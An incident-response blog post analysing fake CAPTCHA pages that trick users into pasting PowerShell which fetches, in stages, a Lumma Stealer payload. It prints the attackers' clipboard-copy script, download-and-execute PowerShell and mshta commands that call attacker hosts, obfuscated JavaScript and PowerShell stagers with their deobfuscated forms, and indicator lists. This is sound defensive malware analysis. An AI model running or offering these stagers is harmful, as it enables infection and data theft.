Last September, I received an email about a supposed security issue in one of my GitHub repositories. The sender claimed they had discovered vulnerabilities in my code and directed me to an external site, github-scanner[.]com
, for more information. Once there, I was presented with a CAPTCHA that purportedly confirmed my identity as a human. At the time, I documented my research internally and blurred out some Indicators of Compromise, so for this blog post, I relied on archived records of that domain.

While piecing everything together six months later, I uncovered another domain, github-scanner[.]shop
, which is also tied to the same malicious campaign.

Historical SSL certificate data from VirusTotal confirmed that these two domains share an operator, and that both were being used to distribute malware.

Clicking the CAPTCHA button on these pages triggered a script that copied a PowerShell command to the clipboard. The site even provided instructions to press Windows + R, paste the command, and then press Enter, essentially coaxing the user into running potentially harmful code.

We decided to have a look at the page’s source code, and voila, it revealed it’s first stage payload.
<div class="modal-bg" id="modalBg">
<div class="modal">
<div class="modal-title">Verification Steps</div>
<div class="modal-step">
<p>1. Press Windows Button "<i class="fa-brands fa-windows"></i>" + R</p>
</div>
<div class="modal-step">
<p>2. Press CTRL + V</p>
</div>
<div class="modal-step">
<p>3. Press Enter</p>
</div>
</div>
</div>
<script>
const verifyButton = document.getElementById('verifyButton');
const modalBg = document.getElementById('modalBg');
verifyButton.addEventListener('click', function() {
modalBg.style.display = 'flex';
const captchaText = "powershell.exe -w hidden -Command \"iex (iwr 'https://github-scanner[.]com/download.txt').Content\" # \"✅ ''I am not a robot - reCAPTCHA Verification ID: 93752\"";
const tmpTxtArea = document.createElement("textarea");
tmpTxtArea.value = captchaText;
document.body.appendChild(tmpTxtArea);
tmpTxtArea.select();
document.execCommand("copy");
document.body.removeChild(tmpTxtArea);
});
[...]
At first glance, one might assume that most users would be cautious enough to avoid these steps. In reality, we discovered that people sometimes do follow such prompts without understanding the consequences. In this instance, examining the page’s source code revealed a second-stage payload designed to distribute the Lumma Stealer. Articles on BleepingComputer and McAfee corroborated the use of these fake GitHub scanner sites to spread malware, and ANY.RUN sandbox analysis confirmed the script’s behavior once executed.
mshta.exe CrowdStrike Detections
Fast-forward to more recent events: our Security Operations Center received multiple escalations of mshta.exe
detections from CrowdStrike. These detections included suspicious PowerShell executions, heavy obfuscation, and references to a bizarre file hosted on a sketchy domain: mshta.exe https://kelliver[.]live/hathforurub.m4a
.

LOLBAS describes mshta.exe
as „Used by Windows to execute html applications. (.hta)“. The detected mshta.exe
execution was followed by a PowerShell execution of something that seems to be an encrypted payload blocked by our prevention policy. We immediately network isolated the host to prevent further damage and went straight into incident response, which I will guide you through the rest of this blog post.

Identifying the Root Cause
In the course of our root cause analysis, we typically trace the entire infection chain to identify how the attacker first breached the environment. In this case, we deployed Velociraptor offline collectors, configured specifically for CrowdStrike, to gather forensic artifacts. We ran an Exchange message trace, analyzed recently received emails, and reviewed Microsoft Compliance logs for URL click events without finding any strong leads. The browser history also offered no clues. Because the affected customer did not use an intercepting proxy, the host and CrowdStrike Falcon logs were our only evidence source. It wasn’t until we noticed the user had been browsing in Firefox’s Incognito mode that we realized we wouldn’t recover any browsing history—Incognito sessions typically leave little to no trace for host-based forensics. Lastly, a VirusTotal Threat Graph check didn’t yield any new information on potential LinkedIn domains, IPs, or files besides the already known hathforub.m4a
.

We turned to the DNS requests and activity logs that Falcon captured to gain additional insight. We spotted another PowerShell execution that triggered our initial CrowdStrike detection. By searching for the known domain kelliver[.]live
in CrowdStrike’s advanced search and grouping by command line, we confirmed our earlier findings: "kelliver.live" | groupBy("CommandLine")
.

We then analyzed the system’s previous DNS requests, and two domains stood out before this execution occurred:
somono[.]site
objectstorage[.]ap-seoul-1[.]oraclecloud[.]comVerdict oraclecloud[.]com
oraclecloud[.]com
This way, we were able to find a URL hxxps[://]objectstorage[.]ap-seoul-1[.]oraclecloud[.]com/n/id0cu93izlqm/b/default-page/o/hathfuror-ligorub[.]html
, resolving to 134[.]70[.]96[.]3
, showing a fake CAPTCHA. Although we couldn’t establish definitive proof that the end user visited this specific URL, the page name closely mirrored the suspicious .m4a
file we had already identified.

Clicking the CAPTCHA copies a PowerShell command to the clipboard that executes mshta.exe
pointing to kelliver[.]live/hathforurub.m4a
, confirming how the first-stage malware was delivered. The command copied to clipboard is:powershell -w 1 -C "$l='hxxps[://]kelliver[.]live/hathforurub[.]m4a';Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine=('ms' + 'hta' + '.exe '+$l)}" # ✅ ''I am not a robot: CAPTCHA Verification UID: 7811''"
Because this payload matches our earlier findings and directly invokes the malicious file, we are confident this webpage delivered the first-stage malware to the victims systems. Although we already know the payload copied to the clipboard, we identified two embedded JavaScript files within the page utilizing VirusTotal.

The first file, 5f196680495f4e460e3857f8b14903f3c3a0e8b8747d1ca33d089d4e36390121
, presented some unobfuscated JavaScript code, which is responsible for placing the malicious payload to the clipboard. The payload looks similar to the one we highlighted at the beginning of this post.

Interestingly, the page source itself was obfuscated using phpkobo.com
, a fact that highlights some improvements compared to the initial malware campaign first observed in September 2024, probably to make detections, for example, by Google safe browsing and static detection in general more difficult.

As mentioned earlier, we identified another malicious domain—somono[.]site
—which led us to additional fake CAPTCHA pages too. However, as our OSINT investigation expanded, it became evident that this was only part of a larger attacker infrastructure, complex enough to warrant its own dedicated blog post. For now, we’ll focus on our previous findings related to oraclecloud[.]com
.
Although we’re fairly confident the attack originated from oraclecloud[.]com
, we still don’t know precisely how the affected users landed on that site. We saw DNS requests for adult-themed domains immediately before the malicious CAPTCHA page was accessed, but it is impossible to say which site (if any) redirected them there.
Dissecting the Second-Stage Payload
The file hathforurub.m4a
(SHA256: 84d9eff82a169021cd2cc93b4c1b87e60a6754642340f5638bb68a8c1697858b
), used as the second-stage payload, was clearly not a legitimate audio file. At the time of writing, it had been submitted to VirusTotal four times. We also encountered additional samples closely resembling this one and plan to investigate them further in the near future. Notably, the file begins with random gibberish and a large block of data exhibiting high Shannon entropy.

The file also contained a large number of non-printable characters and fragments of JavaScript in seemingly random locations. Because mshta.exe
was used to run it, we decided to extract its readable strings with bstrings, which helped filter out the gibberish and provide a cleaner view of the underlying code: C:\Tools\Zimmerman-Tools\bstrings.exe -f .\hathforurub.m4a.infected > .\hathforurub.m4a.infected.strings
.

This process removed a great deal of meaningless data, revealing actual HTML and JavaScript fragments. After organizing the output, we were left with the following cleaned JavaScript, which processes the data blob identified at the file’s start and formats it accordingly.
66O75r6eW63o74U69J6fx6ei20L49O4bT4aA4fY5[…]
<script>window.moveTo(9999,0)</script>
<script>window.onerror = function(){return true}</script>
<script>var outerHTML = document.documentElement.outerHTML;</script>
<script>var payloadBlob = outerHTML.substring(27 , 25251);</script>
<script>eval(payloadBlob.replace(/(..)./g, function(match, p1) {return String.fromCharCode(parseInt(p1, 16))}))</script>
<script>window.close()</script>
When dealing with obfuscated code, we often run small sections of it and capture variable contents or function returns. In this instance, we piped the output of eval()
to console.log so we could see exactly what was happening. An alternative approach might have been to rewrite the eval()
functionality in Python or create a tailored CyberChef recipe. Either way, we discovered yet another layer of obfuscated code. Essentially, the .m4a
file served as a smokescreen for malicious JavaScript that, once partially deobfuscated, turned out to contain even more hidden JavaScript.
function IKJOW(VfDy){var NClgjW= '';for (var JpGX = 0;JpGX < VfDy.length; JpGX++){var EXyop = String.fromCharCode(VfDy[JpGX] - 519);NClgjW = NClgjW + EXyop}return NClgjW};var NClgjW = IKJOW([631,630,638,620,633,634,623,620,627,627,565,620,639,620,551,564,638,551,568,551,564…]);var JpGX = IKJOW([606,602,618,633,624,631,635,565,602,623,620,627,627]);var IKJOW = new ActiveXObject(JpGX);IKJOW.Run(NClgjW, 0, true);
We can see a function that takes an array as an input parameter, iterates through it in a loop, and subtracts 519 from each element. Essentially, this reveals that the array values are just ASCII codes offset by 519. The script applies this function to two different arrays, storing the results in variables JpGX
and NClgjW
. By once again printing the contents of these variables via console.log()
, we uncovered yet another obfuscated payload layer—written in PowerShell.
WScript.Shell
powershell.exe -w 1 -ep Unrestricted -nop function QuLi($BIPzJjXbZ){-split($BIPzJjXbZ -replace '..', '0x$& ')};$QkPn=QuLi('43DD03DE02EAF64329C0EFE9088BADDD2B2DDA97B8F2E58C65FE998AD535D9E[…]');$gdTwvn=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((QuLi('514E62744A5158764166556B6A66746A')),[byte[]]::new(16)).TransformFinalBlock($QkPn,0,$QkPn.Length)); & $gdTwvn.Substring(0,3) $gdTwvn.Substring(3)
Unobfuscating the Encrypted PowerShell Payload
The newly uncovered second-stage PowerShell script (still part of the .m4a
file) begins by creating a new ActiveXObject("WScript.Shell")
to execute arbitrary shell commands, culminating in the AES-encrypted payload we initially observed in CrowdStrike. Leveraging an ActiveXObject
and decrypting the payload at runtime is a standard technique attackers employ to conceal their execution flow and potentially bypass detection.
By allowing the payload to decrypt itself and inspecting the contents of the variable $gdTwvn
, we exposed another layer of obfuscated commands. Notably, the script separates the string iex
(short for Invoke-Expression
) from the remainder of the payload with $gdTwvn.Substring(0,3)
and $gdTwvn.Substring(3)
, illustrating how attackers piece the final command together at runtime.

Following deobfuscation, the next PowerShell script layer emerges.
iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"SI Variable:0 ' hxxps[://]mapped11111112[.]sportsspot-moviebuffs[.]com/aboradaborad[.]png ';Set-Variable 5m (((([Net.WebClient]::New()|GM)|?{(ChildItem Variable:\_).Value.Name -clike '*wn*g'}).Name));SV fRo ([Net.WebClient]::New());.`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|GM|?{(ChildItem Variable:\_).Value.Name -clike 'G*ts'}).Name)('*e-*press*')(Variable fRo -ValueOnl).((ChildItem Variable:\5m).Value)((Get-Variable 0 -Value))";$ZDyioiTd = $env:AppData;function RqzT($TTrpqypu, $RDwQWjkK){curl $TTrpqypu -o $RDwQWjkK};function nfPtfTMCz(){function XTPCCLXH($XWGiMFyIQ){if(!(Test-Path -Path $RDwQWjkK)){RqzT $XWGiMFyIQ $RDwQWjkK}}}nfPtfTMCz;
This layer uses methods like Set-Item and Set-Variable
instead of direct variable assignments to further obscure the code, and it employs wildcard obfuscation such as *e-*press*
, which can be resolved by using the Get-Command
PowerShell cmdlet (revealing that *e-*press*
refers to Invoke-Expression
). The script references a [System.Net.WebClient]
object stored in the variable fRo
, while 5m
corresponds to DownloadString
.

Finally, it fetches a disguised PNG file—hxxps[://]mapped11111112[.]sportsspot-moviebuffs[.]com/aboradaborad[.]png
—and executes whatever hidden code it contains. Through incremental deobfuscation and partial execution in a controlled environment, we can clearly see how this multi-layer script chain ultimately downloads and runs the another payload.
$payload ='hxxps[://]mapped11111112[.]sportsspot-moviebuffs[.]com/aboradaborad[.]png';
$downloadString = 'DownloadString';
[System.Net.WebClient].$payload.$downloadString
$appdata = $env:AppData;
function curlFunc($inputPath, $outputPah){
curl $inputPath -o $outputPah
};
function wrapperFunc(){
function subFunc($inpuPath){
if(!(Test-Path -Path $outputPah)){
curlFunc $inpuPath $outputPah
}
}
}
wrapperFunc;
Analysis of aboradaborad.png
The PowerShell snippet we deobfuscated earlier downloads and executes the contents of a file masquerading as an image—hxxps[://]mapped11111112[.]sportsspot-moviebuffs[.]com/aboradaborad[.]png
. Given the multiple layers of obfuscation and attack stages encountered so far, it was unsurprising that aboradaborad.png (SHA256: 107f1845bb972a7ce41874d1e11c7b2c5fdd53eadea52c29fbea1257b98b2250
) turned out to be more heavily obfuscated PowerShell code rather than a legitimate image.

Two attributes immediately stood out. First, the file includes a large byte array, similar to previous samples, suggesting that the primary code—or possibly an encoded executable—was embedded within the PowerShell payload. Second, a great deal of “nonsense” code appears before the byte array, with variables being assigned, modified, and subjected to various arithmetic operations. Notably, the overall file size is 17 MB, which is unusually large for a PowerShell script.

Below this byte array, the main PowerShell execution flow appears. The function named fdsjnh
seems to control the core logic, and even without thorough formatting or variable renaming, we can spot loops and XOR operations. We suspected that the byte array would be decrypted at runtime by the script’s final line: (($mNKMaLTPXHCisBVWhYyNAnKhaYGGUHrVlPcUxDe -as [Type])::($tVwfBYJpuvNPCivSKXDtQmCGwsfMAvoMAUHOHqcJG)((fdsjnh))).($apJpCGinPZXmDEgUMjFcFSfxnHqdRPTrpvPZWERzOD)()
This snippet references the output of fdsjnh
, suggesting it’s responsible for decrypting and executing the payload. It also relies on a variable defined prior to the byte array, which turned out to dynamically derive the XOR decryption key at runtime.
After renaming functions for clarity, the code at the end of the file became much easier to understand:
[…]103,119,113,78,121,73,52,76,72,100,50,75,121,89,53,73,72,104,47,68,109,100,57,100,103,61,61;
function mainFunc {
$ArrListObj = New-Object System.Collections.ArrayList;
for ($i = 0; $i -le $byteArray.Length-1; $i++) {
$ArrListObj.Add([char]$byteArray[$i]) | Out-Null
};
$joinPayload = $ArrListObj -join "";
$utf8Obj = [System.Text.Encoding]::UTF8;
$keyArr = $utf8Obj.GetBytes("$xorKey");
$strJoinPayload = $utf8Obj.GetString([System.Convert]::FromBase64String($joinPayload));
$payloadBytes = $utf8Obj.GetBytes($strJoinPayload);
$retVal = $(for ($i = 0; $i -lt $payloadBytes.length; ) {
for ($j = 0; $j -lt $keyArr.length; $j++) {
$payloadBytes[$i] -bxor $keyArr[$j];$i++;if ($i -ge $payloadBytes.Length) {$j = $keyArr.length}}});
$retVal = $utf8Obj.GetString($retVal);
return $retVal
}
(($mNKMaLTPXHCisBVWhYyNAnKhaYGGUHrVlPcUxDe -as [Type])::($tVwfBYJpuvNPCivSKXDtQmCGwsfMAvoMAUHOHqcJG)((mainFunc))).($apJpCGinPZXmDEgUMjFcFSfxnHqdRPTrpvPZWERzOD)()
As expected, the byte array is decrypted in memory using a key generated on-the-fly. To examine both the key variables and the resulting plaintext from the byte array, we removed the final execution line and loaded the remaining script into memory.

By partially running the script (omitting that last line), we confirmed that it indeed constructs a script block from the output of fdsjnh
and then invokes it. We enabled a transcript (Start-Transcript -Path .\logging.txt
), ran Write-Host (fdsjnh)
, and then stopped the transcript. This revealed further PowerShell code that looked more characteristic of a multistage infection, complete with constants, helper functions, environment checks (like verifying the PowerShell version in use), and another payload segment tucked away at the bottom.

We decided to repeat our process by removing the last lines of this file to unobfuscate this layer and decode the base64 string segment we just identified. Nevertheless, chances are high the base64 decoded string wont be human readable as the variable name already stated that this might be bytes, meaning this is probably a base64 encoded executable embedded into this Powershell file.

We applied the same approach—removing the trailing lines—to deobfuscate the new layer and decode an embedded base64 string. As anticipated, the decoded content was not human readable, as the variable name implied it contained raw bytes. Once decoded, we discovered a clear MZ PE32 header, indicating an executable file.

The file’s SHA256 hash (ba102dd6fa083574e768e3c9bfad6a61295d3bf3d9cf8dcfef1936189d3bbc33
) revealed it to be classified by several security vendors as Heracles Trojan (although just beeing another Lumma Stealer stager), potentially obfuscated by a .NET packer.
Summing up
This campaign demonstrates how threat actors leverage seemingly benign CAPTCHA pages and increasingly obfuscated code to deliver malicious payloads. What started as an unassuming “GitHub scanner” link quickly evolved into a multi-stage infection chain, serving not just one but multiple malware families. Although the earliest fake CAPTCHA attempts appeared simplistic, this latest case shows a marked escalation in complexity, using various layers and infection stages to evade detection, complicate analysis, and allow attackers to swap out components if any link in the chain is uncovered. Each attack phase employed advanced obfuscation techniques, concealing itself behind plausible filenames, misleading file extensions, and heavily encoded or encrypted JavaScript–PowerShell scripts.
Our research unveiled a vast network of malicious domains, IP addresses, and files interwoven into these fake CAPTCHA campaigns. However, the sheer volume of newly found indicators and infrastructure elements surpassed what we could cover in this single article. Mitigating such threats effectively requires a more in-depth grasp of PowerShell obfuscation, rigorous network-level defenses, and thorough user-education initiatives.
With that in mind, we plan to publish follow-up posts that dive deeper into the specifics of the Lumma Stealer malware, explore further details of the adversary’s infrastructure—including more malware samples, IPs, and domains—and offer concrete detection and mitigation strategies tailored to this complex infection chain.
Indicators
Atomic
github-scanner.com
github-scanner.shop
185.208.159.43
172.67.176.77
104.21.88.99
kelliver.live
172.67.152.216
104.21.40.142
objectstorage.ap-seoul-1.oraclecloud.com
134.70.96.3
134.70.96.1
134.70.96.0
mapped11111112.sportsspot-moviebuffs.com
172.67.179.181
104.21.75.175
Computed
hathforurub.m4a
a6cf0ba2b4417f91403fdffe5576a3b6
200d7aa153000be5a978a2585e298c709dc308a5
84d9eff82a169021cd2cc93b4c1b87e60a6754642340f5638bb68a8c1697858b
aboradaborad.png
c51d0d2eaebe7bdba6f7b156653c37a3
a2a5a7473fbd8fa57f23d521c5f847d240cf9f2e
107f1845bb972a7ce41874d1e11c7b2c5fdd53eadea52c29fbea1257b98b2250
Xdijuggvmys.exe
028e1876d5d984a158b29f2f2dd2b425
3b1f5a6abc341213f53daeff293d46f352250d4d
ba102dd6fa083574e768e3c9bfad6a61295d3bf3d9cf8dcfef1936189d3bbc33